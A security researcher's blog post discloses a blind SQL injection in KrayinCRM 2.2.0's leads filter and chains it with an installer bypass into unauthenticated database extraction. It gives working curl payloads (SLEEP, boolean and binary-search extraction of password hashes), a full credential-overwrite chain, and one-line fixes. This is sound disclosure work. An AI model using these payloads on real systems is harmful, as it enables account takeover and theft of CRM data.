In my previous post, I described a pre-authentication admin account takeover in KrayinCRM 2.2.0 — a single unauthenticated HTTP request that overwrites the admin credentials via a logic flaw in the installer middleware. That finding alone is Critical severity. But research like this does not stop at the first finding. Once I had admin access, I went looking for what an attacker could do with it.
What I found was a blind SQL injection in the leads data grid that allows full extraction of the entire database. And because the admin access that enables it can be obtained without any credentials at all, the complete chain — from zero access to full database dump — requires nothing more than network connectivity to the target.
This is the story of finding the injection, the frustration of HAVING clause exploitation, and how I built a binary search extraction method to pull credentials and data out of the database one character at a time.
After taking over the admin account via the installer bypass, I turned my attention to KrayinCRM's data handling. A CRM lives and dies by its data — leads, contacts, deals, pipeline stages, activity history. If I could find a way to extract it all programmatically, the business impact of the chain would be total.
Laravel applications typically use Eloquent ORM with parameterized queries, which makes SQL injection relatively rare. But Krayin uses a custom DataGrid framework that constructs complex queries with sorting, filtering, grouping, and aggregate columns. These are the kind of queries where developers sometimes reach for raw SQL methods to handle edge cases that the ORM does not cover cleanly.
I started reading the DataGrid classes. There are about a dozen of them — one for each major entity type. LeadDataGrid, PersonDataGrid, OrganizationDataGrid, ActivityDataGrid, QuoteDataGrid, and so on. Each one implements a prepareQueryBuilder() method that constructs the base query, and the parent DataGrid class handles pagination, sorting, and filtering.
Most of them were clean. Properly parameterized. Using Laravel's query builder correctly. But when I got to LeadDataGrid.php, I stopped.
File: packages/Webkul/Admin/src/DataGrids/Lead/LeadDataGrid.php
The prepareQueryBuilder() method builds a complex query with multiple joins across the leads, users, persons, pipeline stages, sources, types, and tags tables. It computes a derived column called rotten_lead — a boolean flag indicating whether a lead has been sitting in the pipeline longer than the configured "rotten days" threshold:
$tablePrefix = DB::getTablePrefix();
$queryBuilder = DB::table('leads')
->addSelect(
// ... many columns ...
DB::raw('CASE WHEN DATEDIFF(NOW(),'.$tablePrefix.'leads.created_at) >='
.$tablePrefix.'lead_pipelines.rotten_days THEN 1 ELSE 0 END as rotten_lead'),
)
// ... joins, where clauses, groupBy ...
Because rotten_lead is a computed alias (from a CASE WHEN expression), it cannot be filtered in a standard WHERE clause. MySQL requires that you filter computed aliases in a HAVING clause, which runs after GROUP BY.
And here is how the filter is implemented, at line 89:
if (! is_null(request()->input('rotten_lead.in'))) {
$queryBuilder->havingRaw(
$tablePrefix.'rotten_lead = '.request()->input('rotten_lead.in')
);
}
I read it three times.
request()->input('rotten_lead.in') pulls the value from the rotten_lead[in] query parameter. Laravel's dot-notation input accessor maps rotten_lead[in] in the URL to rotten_lead.in in the input retrieval. The value is then concatenated — not bound, not cast, not validated — directly into the string passed to havingRaw().
havingRaw() is Laravel's escape hatch for writing raw HAVING clauses. Unlike having(), which accepts column-value pairs and parameterizes them, havingRaw() passes its string argument directly to the database engine. It is explicitly documented as a "use at your own risk" method. And here, the risk was being fully realized: user input flowing directly into raw SQL.
No (int) cast. No filter_var() with FILTER_VALIDATE_INT. No allowlist of valid values (which, for a boolean flag, should only be 0 or 1). Nothing between the HTTP request parameter and the SQL engine.
Before reaching for a payload, I thought through the exploitation constraints. HAVING clause injection is not the same as WHERE clause injection, and the differences matter.
A HAVING clause runs after GROUP BY has been applied. The query groups leads by leads.id (line 82 in the source), which means each group contains exactly one lead plus its joined data. The HAVING clause filters these groups based on aggregate or aliased values.
This position creates several constraints:
No UNION injection. In a WHERE clause, you can often append UNION SELECT ... to extract data from other tables. UNION requires the injected SELECT to match the column count and position of the original query. In a HAVING clause, UNION does not syntactically work — you cannot UNION after GROUP BY...HAVING. The query structure does not allow it.
No error-based extraction (initially). I tested error-based payloads like rotten_lead = 1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users WHERE id=1))). The MySQL errors were caught by Laravel's exception handler and returned as a generic error page — no SQL error detail surfaced in the response. Error-based blind was off the table.
Subqueries work. The good news: you can use subqueries inside a HAVING clause. HAVING rotten_lead = 99 OR (SELECT 1 FROM users WHERE id=1) = 1 is valid SQL. This means I can reference any table in the database from within the injected clause.
So the viable extraction methods were:
SLEEP() conditionally and measure response timeBoth work. Both are slow. But they work.
I set up my authenticated session (using the admin credentials I had overwritten via the installer bypass) and crafted the baseline request. The leads DataGrid is loaded via AJAX — the Vue.js frontend makes a GET request with X-Requested-With: XMLHttpRequest to /admin/leads, and the LeadController::index() method dispatches to the DataGrid processor.
Baseline — legitimate filter value:
curl -s -b cookies.txt \
-H 'X-Requested-With: XMLHttpRequest' \
'http://[TARGET]/admin/leads?rotten_lead%5Bin%5D=99' \
-o /dev/null -w '%{time_total}s'
Result: 0.041648s. Fast. No delay. The query runs, finds no leads with rotten_lead = 99, returns an empty grid.
Time-based confirmation — inject SLEEP(5):
curl -s -b cookies.txt \
-H 'X-Requested-With: XMLHttpRequest' \
'http://[TARGET]/admin/leads?rotten_lead%5Bin%5D=99+OR+SLEEP(5)' \
-o /dev/null -w '%{time_total}s'
Result: 5.038494s.

Five seconds. The SLEEP injected into the HAVING clause, executed by the MySQL engine, and the HTTP response was delayed by exactly the injected duration. SQL injection confirmed.
Boolean-based confirmation:
# TRUE condition -- should return records
curl -s -b cookies.txt \
-H 'X-Requested-With: XMLHttpRequest' \
'http://[TARGET]/admin/leads?rotten_lead%5Bin%5D=99+OR+1%3D1'
# Returns: {"records":[{"id":1,...}], "meta":{"total":1,...}}
# FALSE condition -- should return zero records
curl -s -b cookies.txt \
-H 'X-Requested-With: XMLHttpRequest' \
'http://[TARGET]/admin/leads?rotten_lead%5Bin%5D=99+OR+1%3D2'
# Returns: {"records":[], "meta":{"total":0,...}}
The TRUE condition (1=1) causes the HAVING clause to pass for all groups, returning records. The FALSE condition (1=2) causes it to fail, returning nothing. A clean boolean oracle. One record means true, zero records means false.
With both time-based and boolean-based oracles confirmed, I chose boolean-based for extraction — it is faster. Each request completes in ~30ms instead of waiting for a SLEEP timer. The tradeoff is that you need at least one lead record in the database for the boolean oracle to work (the HAVING clause needs at least one group to evaluate against). The test instance had leads, so this was not a problem.
The extraction technique is binary search on each character position of the target string.
For each character at position N in the string I want to extract:
ORD(SUBSTRING(target_string, N, 1))The payload template:
rotten_lead[in]=99 OR ORD(SUBSTRING((SELECT password FROM users WHERE id=1),{position},1))>{threshold}
URL-encoded:
rotten_lead%5Bin%5D=99+OR+ORD(SUBSTRING((SELECT+password+FROM+users+WHERE+id%3D1),{position},1))>{threshold}
If the response contains records (total > 0), the condition is TRUE — the character's ASCII value is greater than the threshold. If the response is empty, it is FALSE. Seven requests narrows 95 possible ASCII values down to exactly one.
I wrote a shell script to automate the binary search. Character by character, request by request, the data came through.
MySQL version:
8.0.45-0ubuntu0.24.04.1
Current database:
krayin
Current user:
[email protected]
Admin password hash (bcrypt):
$2y$10$n9WLbTsm6w.lmb9JmH0sO.ARK8tWSPdb.OKa0IeV3v2jirDVLmlHS

The bcrypt hash is 60 characters. At 7 requests per character, that is 420 HTTP requests to extract the full hash. At ~30ms per request, the entire extraction takes about 13 seconds. Not fast enough to be considered "instant," but fast enough to be fully automated and practical.
I also verified what the injection could not do. The database user [email protected] does not have the FILE privilege, and secure_file_priv is set to /var/lib/mysql-files/ — a non-web-accessible directory. This means:
INTO OUTFILE webshell writes are blocked. No writing a PHP file to the web root.LOAD_FILE() for reading arbitrary server files is blocked.The injection is confined to data extraction. But in a CRM, data extraction is the catastrophic outcome. The database contains every contact, every lead, every deal, every financial quote, every activity log, and every user credential in the system.
The extraction was not as smooth as the writeup makes it look. A few things tripped me up.
The HAVING clause position. My first instinct was to try UNION injection. I spent twenty minutes crafting UNION SELECT payloads with the correct column count before stepping back and remembering that UNION after GROUP BY...HAVING is syntactically invalid. This is one of those things that is obvious in retrospect but not when you are staring at a curl command that keeps returning 500 errors.
Lead record requirement. The boolean oracle requires at least one lead to exist in the database. On my first attempt, I was testing against a pipeline with no leads. The HAVING clause evaluated against zero groups, so both TRUE and FALSE conditions returned empty results. I could not distinguish between them. I wasted time thinking the injection was not working before realizing the issue was the empty pipeline. Once I switched to a pipeline with leads (or created a test lead), the oracle worked perfectly.
Error-based attempts. I tried EXTRACTVALUE(), UPDATEXML(), and double-query error techniques. Laravel's exception handler consumed all MySQL error messages and returned generic error pages. No SQL error detail in the response body, no error detail in response headers. Error-based extraction was a dead end on this target.
sqlmap. I attempted to use sqlmap for automated extraction. Network configuration issues in the test environment prevented sqlmap from reaching the target reliably. I fell back to manual extraction via my shell script, which worked without issues. Sometimes the simple approach is the one that works.
Now for the part that makes this a Critical-class finding chain rather than two independent vulnerabilities.
The SQL injection requires authentication. Any user with access to the leads listing can trigger it, but you need a valid session. Normally, this would bound the severity — you need a compromised account or an insider threat.
But the installer bypass from Part 1 eliminates the authentication requirement entirely.
Here is the complete attack chain, fully confirmed during testing:
Step 1: Overwrite admin credentials (unauthenticated)
curl -s -X POST \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
'http://[TARGET]/install/api/admin-config-setup' \
-d '{"admin":"attacker","email":"[email protected]","password":"hacked123"}'
Response: 1 (success).
Step 2: Authenticate with attacker-controlled credentials
# Grab CSRF token
TOKEN=$(curl -s -c /tmp/chain.txt http://[TARGET]/admin/login | \
grep -o 'name="_token" value="[^"]*"' | grep -o '"[^"]*"' | tail -1 | tr -d '"')
# Login
curl -s -c /tmp/chain.txt -b /tmp/chain.txt \
-X POST http://[TARGET]/admin/login \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "email=attacker%40evil.com&password=hacked123&_token=${TOKEN}" \
-L -o /dev/null -w '%{http_code}'
Response: 302 redirect to /admin/dashboard. Admin session established.
Step 3: Confirm SQL injection
curl -s -b /tmp/chain.txt \
-H 'X-Requested-With: XMLHttpRequest' \
'http://[TARGET]/admin/leads?rotten_lead%5Bin%5D=99+OR+SLEEP(3)' \
-o /dev/null -w '%{time_total}s'
Response time: 3.040468s. Injection confirmed.
Step 4: Extract data via boolean-based binary search
# Extract first character of admin password hash
curl -s -b /tmp/chain.txt \
-H 'X-Requested-With: XMLHttpRequest' \
'http://[TARGET]/admin/leads?rotten_lead%5Bin%5D=99+OR+ORD(SUBSTRING((SELECT+password+FROM+users+WHERE+id%3D1),1,1))>35'
Continue binary search across all character positions. Full hash extracted in ~420 requests.
Result: Starting from zero credentials and zero knowledge of the target, an attacker can:
The complete chain requires only network access to the target. No user interaction. No social engineering. No prior access of any kind.

It is worth dwelling on why this injection exists when the rest of the codebase is clean.
KrayinCRM's DataGrid framework handles most filtering through Laravel's query builder, which parameterizes values automatically. The standard filtering path — addFilter() calls, column type-based filtering — is safe. I checked every DataGrid class for WHERE-clause injections and found none.
The rotten_lead filter is the exception because it filters on a computed alias. The rotten_lead column does not exist in any table — it is calculated by a CASE WHEN DATEDIFF(...) expression in the SELECT clause. MySQL's query execution order means this alias is only available in the HAVING clause, not in WHERE. And Laravel's query builder does not have a safe method for parameterized HAVING on computed aliases that matches the ergonomics of the DataGrid's filtering system.
So the developer reached for havingRaw(). It is the right tool for the job in terms of SQL generation. The mistake was passing unsanitized input into it. The fix is trivial:
// BEFORE (vulnerable):
$queryBuilder->havingRaw($tablePrefix.'rotten_lead = '.request()->input('rotten_lead.in'));
// AFTER (fixed -- parameterized binding):
$queryBuilder->havingRaw($tablePrefix.'rotten_lead = ?', [(int) request()->input('rotten_lead.in')]);
One character change: replace the concatenation with a ? placeholder and pass the value as a bound parameter with an integer cast. The resulting SQL is identical. The security properties are completely different.
After confirming the rotten_lead injection, I searched the entire codebase for other instances of havingRaw(), whereRaw(), selectRaw(), and orderByRaw() with user-controlled input.
The rotten_lead filter was the only injectable instance. Every other DataGrid uses the framework's safe filtering path. The rotten_lead case is singular because it is the only computed alias that has a dedicated filter parameter flowing into a raw SQL method.
I also checked whether the same rotten_lead[in] parameter was used in the Kanban view (an alternative leads display). The Kanban view uses a different query path through LeadRepository and does not pass through the DataGrid's prepareQueryBuilder() at all. The injection is specific to the DataGrid table view.
| Metric | Value |
|---|---|
| CVSS Score | 8.8 High |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 (SQL Injection) |
| Authentication Required | Low (any user with leads.view) |
Any authenticated user with access to the leads listing can extract the full database contents. This includes:
| Metric | Value |
|---|---|
| Effective CVSS | 9.8 Critical (inherits from the pre-auth enabler) |
| Authentication Required | None |
The installer bypass removes the authentication requirement entirely. The chain starts from zero access and ends with full database extraction. Any internet-facing KrayinCRM 2.2.0 instance is vulnerable.
For the SQL injection (one-line fix):
$queryBuilder->havingRaw($tablePrefix.'rotten_lead = ?', [(int) request()->input('rotten_lead.in')]);
For the installer bypass (one-line fix, detailed in Part 1):
if ($this->isAlreadyInstalled()) {
return redirect()->route('admin.dashboard.index');
}
Enhanced fix with input validation:
$rottenLeadValue = filter_var(request()->input('rotten_lead.in'), FILTER_VALIDATE_INT);
if ($rottenLeadValue !== false && in_array($rottenLeadValue, [0, 1])) {
$queryBuilder->havingRaw($tablePrefix.'rotten_lead = ?', [$rottenLeadValue]);
}
This validates that the input is an integer and restricts it to the only two meaningful values (0 for not rotten, 1 for rotten). Any other input is silently ignored, and the HAVING clause is not applied.
Codebase-wide recommendation: Audit every use of havingRaw(), whereRaw(), selectRaw(), and orderByRaw() in the DataGrid classes. Ensure no user input reaches these methods without parameterized binding or strict type casting. Consider adding a static analysis rule (Semgrep or PHPStan) to flag any *Raw() call that references request() or $request->input() in its argument.
Every KrayinCRM 2.2.0 instance accessible over a network is vulnerable to the full chain. The attack is:
If you run KrayinCRM 2.2.0 in production, apply both fixes immediately. If you cannot patch immediately, block all requests to /install/* at your reverse proxy as an interim measure — this neutralizes the pre-auth chain while the SQLi fix is deployed.
I reported both findings to the Krayin maintainers by email on 2026-04-20, using the security address published in the project's README ([email protected], alongside the request not to disclose publicly), and requested CVEs the same day through VulnCheck (a CNA) — CVE-2026-41452 and CVE-2026-41453 were assigned within hours. As of publication I have received no acknowledgement or response from the vendor.
The SQL injection described here has been fixed. Commit 2a3724cb ("fix issue#2529", 2026-07-10), released in v2.2.4, replaces the string-concatenated havingRaw() with a parameterized ? placeholder and an (int) cast — the exact remediation recommended above. I confirmed it by source review on 2026-07-25. Versions v2.2.0 through v2.2.3 remain affected, as does the master branch, which still carries the concatenated form.
Note that the installer bypass this chain relies on for its unauthenticated variant (CVE-2026-41452, Part 1) was fixed in v2.2.1 and then reverted in v2.2.4, so it remains exploitable on the current release. In practice: on v2.2.4 and later the pre-auth admin takeover still works but this SQL injection does not, while on the originally-affected v2.2.0 the complete zero-to-database-dump chain is intact.
| Date | Event |
|---|---|
| 2026-04-19 | Installer bypass and SQL injection identified during independent security research |
| 2026-04-19 | Both vulnerabilities confirmed with working proof-of-concept |
| 2026-04-20 | Full chain (pre-auth to database extraction) confirmed |
| 2026-04-20 | Findings reported to the Krayin maintainers with remediation guidance |
| 2026-08-01 | Public disclosure — the 90-day window elapsed with no acknowledgement from the vendor; this write-up published |
The two vulnerabilities in this series are very different in nature. The installer bypass is a logic error — a misunderstanding of how a middleware check would behave in production versus during installation. The SQL injection is a classic input validation failure — user data reaching a raw SQL method without sanitization. But they share a common theme: edge cases that were not revisited.
The AJAX check in the middleware was an edge case for the installation wizard. The havingRaw() call was an edge case for filtering a computed column that did not fit the standard DataGrid pattern. In both cases, the developer solved the immediate problem correctly and moved on. The code worked. The feature shipped. Nobody came back to ask "does this have security implications beyond the scenario I wrote it for?"
Reading the source is particularly good at finding these. A black-box scanner would not have identified the installer bypass — it would not think to add X-Requested-With: XMLHttpRequest to a POST request to an installer endpoint on an already-installed application. A static analysis tool would likely flag the havingRaw() call, but without the dynamic context of the DataGrid's AJAX filtering behavior, a reviewer might dismiss it as a false positive. The combination of reading the source to understand intent and testing dynamically to confirm behavior is what makes these findings fall out.
Both fixes are trivial. Both are one-line changes. The hardest part of fixing them is knowing they exist.
KrayinCRM is an open-source project available at https://github.com/krayin/laravel-crm. These vulnerabilities affect version 2.2.0. All testing was performed as independent security research against a dedicated, self-hosted test instance. No production systems or real user data were accessed or affected.
This is Part 2 of a two-part series. Part 1 covers the pre-authentication admin account takeover via the installer middleware bypass.
Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.